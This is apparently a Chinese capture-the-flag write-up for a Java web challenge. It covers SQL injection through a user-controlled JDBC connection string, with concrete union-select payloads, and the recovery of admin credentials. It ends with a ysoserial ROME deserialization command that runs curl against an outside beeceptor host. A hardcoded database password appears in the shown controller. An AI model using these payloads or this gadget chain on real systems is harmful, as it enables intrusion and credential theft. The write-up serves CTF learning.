前言
关键字:[java|jdbc|sql注入|ysoserial|java反序列化|ROME]
给了部分class
package cn.abc.core.controller;
import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
public Test() {
}
@PostMapping({"/sqlDict"})
@Access
@ApiOperation("为了开发方便对应数据库字典查询")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}
题解
看class,感觉就是sql注入,但问题是要找到输入点。
有swagger,默认是/swagger-ui.html
在这有字符串拼接的sql,可以尝试sql注入
jdbc的sql注入
jdbc连接数据库语句后面可以跟参数
jdbc:mysql://localhost:3306/数据库名?user=用户名&password=密码&useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT
在这有个问题,首先他要在连接数据库的时候拼接字符串,又在sql语句里拼接,如果按照以前sql注入那样闭合+注释,就会导致在执行jdbc的时候直接报错。但还好,jdbc对于#?
有特殊的处理
#?号问题
#
在jdbc中无实际意义且#号后面的会被忽视。
?
也是一样的,不过需要加个键值对。
jdbc:mysql://localhost:3306/myapp?a=1' union select 1#
jdbc:mysql://localhost:3306/myapp#' union select 1#
于是,类似sql注入,位置在这,字段名也是有的。
/common/test/sqlDict?dbname=myapp#' union select pwd from user#
爆出密码admin@Rrrr_ctf_asde
,同样操作爆出用户名为admin
然后登陆
返回了一个auth头
java反序列化
下方的特征可以作为序列化的标志参考:
一段数据以
rO0AB
开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced
开头,那么他就是这一段Java序列化的16进制。
而这段数据正好是rO0AB
,意味着可以尝试反序列化。
这段可以base64解码
怪,用自己的vps可以,用beeceptor就不行。
burp插件
扫出来是ROME类型
rome可以命令执行,URLDNS可以进行dns回显
直接在插件里写好要执行的命令直接打。
ysoserial
无语,翻了下工具记录,才发现这题我做过。
java -jar ysoserial.jar ROME "curl https://asdfasdf.free.beeceptor.com" | base64 -w 0